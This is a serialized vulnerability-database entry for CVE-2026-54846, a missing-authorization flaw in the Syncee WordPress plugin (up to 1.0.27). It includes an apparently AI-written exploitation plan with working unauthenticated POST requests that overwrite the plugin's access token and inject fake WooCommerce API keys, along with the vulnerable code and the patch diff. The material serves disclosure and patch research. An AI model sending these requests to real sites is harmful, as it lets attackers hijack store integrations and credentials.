[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f8MfIx4dInS5IVLNgg0F4ocM9s6eu4bZLxDdQ8s5hi7o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-54846","syncee-premium-dropshipping-wholesale-missing-authorization","Syncee Premium Dropshipping & Wholesale \u003C= 1.0.27 - Missing Authorization","The Syncee Premium Dropshipping & Wholesale plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.27. This makes it possible for unauthenticated attackers to perform an unauthorized action.","syncee-global-dropshipping",null,"\u003C=1.0.27","1.0.28","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-06-18 00:00:00","2026-06-23 15:35:36",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F21ccb2cc-6ae2-4a2e-9daa-3f0d57caedce?source=api-prod",6,[22,23,24,25,26,27,28,29],"JS\u002Findex.js","Syncee.php","View\u002Findex.css","View\u002Findex.php","includes\u002FRequirementsForSyncee.php","includes\u002FRestForSyncee.php","plugin.php","readme.txt","researched",false,3,"# Exploitation Research Plan - CVE-2026-54846\n\n## 1. Vulnerability Summary\nThe **Syncee Premium Dropshipping & Wholesale** plugin (\u003C= 1.0.27) contains a **Missing Authorization** vulnerability in its REST API implementation. The plugin registers several REST API endpoints in `includes\u002FRestForSyncee.php` using the `register_rest_route` function. For many critical actions, the `permission_callback` is set to `__return_true`, and the callback functions themselves lack any capability or nonce checks. This allows unauthenticated attackers to modify plugin settings, such as access tokens and WooCommerce API credentials.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-json\u002Fsyncee\u002Fretailer\u002Fv1\u002FsaveAccessTokenFromSyncee`\n*   **Method:** `POST`\n*   **Vulnerable Parameter:** `accessToken` (POST body)\n*   **Authentication:** None Required (Unauthenticated)\n*   **Preconditions:** The plugin must be active.\n\n## 3. Code Flow\n1.  **Registration:** In `includes\u002FRestForSyncee.php`, the `__construct` method hooks into `rest_api_init`, calling `registerEndpointsForSyncee`.\n2.  **Logic:** The `registerEndpointsForSyncee` function iterates through the `$this->endpoints` array.\n3.  **Vulnerability:** For the `'saveAccessTokenFromSyncee'` entry under `'POST'`, the protection status is set to `false`.\n    ```php\n    'POST' => [\n        'callbackFromWoocommerce' => false,\n        'saveAccessTokenFromSyncee' => false, \u002F\u002F Set to false\n        ...\n    ]\n    ```\n4.  **Permission Callback:** The `register_rest_route` call assigns `__return_true` as the `permission_callback` because `$protected` is false:\n    ```php\n    'permission_callback' => $protected ? function () {\n        return current_user_can('edit_others_posts');\n    } : '__return_true',\n    ```\n5.  **Execution:** When a request hits the endpoint, the `saveAccessTokenFromSyncee` callback is executed:\n    ```php\n    function saveAccessTokenFromSyncee() {\n        $accessToken = sanitize_text_field($_POST['accessToken']);\n        update_option('syncee_access_token', $accessToken); \u002F\u002F Sink\n        wp_send_json_success(esc_html(get_option('syncee_access_token')));\n    }\n    ```\n    The function directly updates the `syncee_access_token` option with user-supplied data.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability **does not require a nonce** for unauthenticated exploitation.\n*   The WordPress REST API only enforces nonce validation for authenticated cookie-based sessions to prevent CSRF.\n*   For unauthenticated requests (no session cookies), WordPress relies entirely on the `permission_callback`.\n*   Since `permission_callback` is explicitly set to `__return_true` and the function body lacks manual `check_ajax_referer` or `wp_verify_nonce` calls, the endpoint is fully accessible to the public.\n\n## 5. Exploitation Strategy\nThe goal is to modify the `syncee_access_token` setting via an unauthenticated POST request.\n\n**HTTP Request via `http_request` tool:**\n*   **Method:** `POST`\n*   **URL:** `{{BASE_URL}}\u002Fwp-json\u002Fsyncee\u002Fretailer\u002Fv1\u002FsaveAccessTokenFromSyncee`\n*   **Headers:**\n    *   `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:** `accessToken=pwned_by_researcher`\n\n## 6. Test Data Setup\n1.  Install and activate the **Syncee Premium Dropshipping & Wholesale** plugin version 1.0.27.\n2.  Ensure the `syncee_access_token` option is either empty or set to a known value.\n    *   `wp option get syncee_access_token` (Expected: empty or initial value)\n\n## 7. Expected Results\n*   The server should return an HTTP 200 OK status.\n*   The JSON response body should indicate success: `{\"success\":true,\"data\":\"pwned_by_researcher\"}`.\n*   The WordPress database will be updated, overwriting the `syncee_access_token` option.\n\n## 8. Verification Steps\nAfter performing the HTTP request, verify the state change using WP-CLI:\n```bash\nwp option get syncee_access_token\n```\n**Verification Criterion:** If the output is `pwned_by_researcher`, the exploit is confirmed.\n\n## 9. Alternative Approaches\nIf `saveAccessTokenFromSyncee` is patched but other endpoints remain open, the following alternatives can be tested:\n\n*   **Modify WooCommerce Integration Data:**\n    *   **Endpoint:** `POST \u002Fwp-json\u002Fsyncee\u002Fretailer\u002Fv1\u002FcallbackFromWoocommerce`\n    *   **Payload (JSON):** `{\"consumer_key\": \"ck_hacked\", \"consumer_secret\": \"cs_hacked\", \"key_permissions\": \"read_write\", \"user_id\": \"1\"}`\n    *   **Verification:** `wp option get data_to_syncee_installer`\n\n*   **Trigger Unauthorized Disconnect:**\n    *   **Endpoint:** `POST \u002Fwp-json\u002Fsyncee\u002Fretailer\u002Fv1\u002FuninstallEcom`\n    *   **Effect:** Deletes existing Syncee tokens if the remote call succeeds (or is spoofed).","The Syncee Premium Dropshipping & Wholesale plugin registers several REST API endpoints for configuration and integration without adequate authorization checks. This allow unauthenticated attackers to overwrite sensitive plugin settings, including access tokens and WooCommerce API credentials, by sending simple POST requests to the vulnerable endpoints.","\u002F\u002F includes\u002FRestForSyncee.php\n\n    private $endpoints =\n        [\n            'POST' => [\n                'callbackFromWoocommerce' => false,\n                'saveAccessTokenFromSyncee' => false,\n                'saveTokenFromSyncee' => false,\n                'uninstallEcom' => false,\n            ],\n            'GET' => [\n                'getCallbackData' => false,\n                'getDataForFrontend' => true,\n                'getRequirements' => false,\n                'getShopData' => false,\n            ],\n        ];\n\n    function registerEndpointsForSyncee()\n    {\n        foreach ($this->endpoints as $requestType => $endpoints) {\n            foreach ($endpoints as $rest => $protected)\n                register_rest_route(\n                    $this->namespace,\n                    $rest,\n                    [\n                        'methods' => $requestType,\n                        'callback' => array($this, $rest),\n                        'permission_callback' => $protected ? function () {\n                            return current_user_can('edit_others_posts');\n                        } : '__return_true',\n                    ]\n                );\n        }\n    }\n\n---\n\n\u002F\u002F includes\u002FRestForSyncee.php L140-145\n\n    function saveAccessTokenFromSyncee()\n    {\n        $accessToken = sanitize_text_field($_POST['accessToken']);\n        update_option('syncee_access_token', $accessToken);\n        wp_send_json_success(esc_html(get_option('syncee_access_token')));\n    }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsyncee-global-dropshipping\u002F1.0.27\u002Fincludes\u002FRestForSyncee.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsyncee-global-dropshipping\u002F1.0.28\u002Fincludes\u002FRestForSyncee.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsyncee-global-dropshipping\u002F1.0.27\u002Fincludes\u002FRestForSyncee.php\t2024-09-05 10:10:18.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsyncee-global-dropshipping\u002F1.0.28\u002Fincludes\u002FRestForSyncee.php\t2026-06-11 12:22:30.000000000 +0000\n@@ -1,162 +1,189 @@\n-\u003C?php\n-\n-\n-class RestForSyncee\n-{\n-    private $namespace = 'syncee\u002Fretailer\u002Fv1';\n-    private $endpoints =\n-        [\n-            'POST' => [\n-                'callbackFromWoocommerce' => false,\n-                'saveAccessTokenFromSyncee' => false,\n-                'saveTokenFromSyncee' => false,\n-                'uninstallEcom' => false,\n-            ],\n-            'GET' => [\n-                'getCallbackData' => false,\n-                'getDataForFrontend' => true,\n-                'getRequirements' => false,\n-                'getShopData' => false,\n-            ],\n-        ];\n-\n-    function __construct()\n-    {\n-        add_action('rest_api_init', array($this, 'registerEndpointsForSyncee'));\n-    }\n-\n-\n-    function registerEndpointsForSyncee()\n-    {\n-        foreach ($this->endpoints as $requestType => $endpoints) {\n-            foreach ($endpoints as $rest => $protected)\n-                register_rest_route(\n-                    $this->namespace,\n-                    $rest,\n-                    [\n-                        'methods' => $requestType,\n-                        'callback' => array($this, $rest),\n-                        'permission_callback' => $protected ? function () {\n-                            return current_user_can('edit_others_posts');\n-                        } : '__return_true',\n-                    ]\n-                );\n-        }\n-    }\n+\u003C?php\n+\n+\n+class RestForSyncee\n+{\n+    private $namespace = 'syncee\u002Fretailer\u002Fv1';\n+\n+    function __construct()\n+    {\n+        add_action('rest_api_init', array($this, 'registerEndpointsForSyncee'));\n+    }\n+\n+    function registerEndpointsForSyncee()\n+    {\n+        $routes = [\n+            ['startInstallFlow',          'POST', [$this, 'permission_admin']],\n+            ['callbackFromWoocommerce',   'POST', $this->require_state('woocommerce_auth')],\n+            ['saveAccessTokenFromSyncee', 'POST', $this->require_state('syncee_install')],\n+            ['saveTokenFromSyncee',       'POST', $this->require_state('syncee_install')],\n+            ['uninstallEcom',             'POST', [$this, 'permission_admin']],\n+            ['getRequirements',           'GET',  [$this, 'permission_admin']],\n+            ['getDataForFrontend',        'GET',  [$this, 'permission_admin']],\n+        ];\n+\n+        foreach ($routes as $route) {\n+            list($endpoint, $method, $permission_callback) = $route;\n+            register_rest_route(\n+                $this->namespace,\n+                $endpoint,\n+                [\n+                    'methods' => $method,\n+                    'callback' => [$this, $endpoint],\n+                    'permission_callback' => $permission_callback,\n+                ]\n+            );\n+        }\n+    }\n+\n+    public function permission_admin()\n+    {\n+        return current_user_can('manage_options');\n+    }\n+\n+    private function require_state($required_stage)\n+    {\n+        return function (WP_REST_Request $request) use ($required_stage) {\n+            $state = $request->get_param('state');\n+            if (!is_string($state) || strlen($state) \u003C 32) {\n+                return false;\n+            }\n+            $key = 'syncee_state_' . hash('sha256', $state);\n+            $stored_stage = get_transient($key);\n+            if ($stored_stage !== $required_stage) {\n+                return false;\n+            }\n+            delete_transient($key);\n+            return true;\n+        };\n+    }","The exploit targets the WordPress REST API endpoint `\u002Fwp-json\u002Fsyncee\u002Fretailer\u002Fv1\u002FsaveAccessTokenFromSyncee`. Because the plugin explicitly sets the `permission_callback` to `__return_true` for this route and fails to perform any manual capability or nonce checks within the callback, the endpoint is globally accessible. An unauthenticated attacker can send a POST request with an `accessToken` parameter in the request body (application\u002Fx-www-form-urlencoded). The plugin's `saveAccessTokenFromSyncee` function will then sanitize this input and update the `syncee_access_token` option in the database, effectively hijacking the plugin's synchronization mechanism or disrupting store operations.","gemini-3-flash-preview","2026-06-25 21:17:32","2026-06-25 21:18:37",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.0.27","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsyncee-global-dropshipping\u002Ftags\u002F1.0.27","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsyncee-global-dropshipping.1.0.27.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsyncee-global-dropshipping\u002Ftags\u002F1.0.28","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsyncee-global-dropshipping.1.0.28.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsyncee-global-dropshipping\u002Ftags"]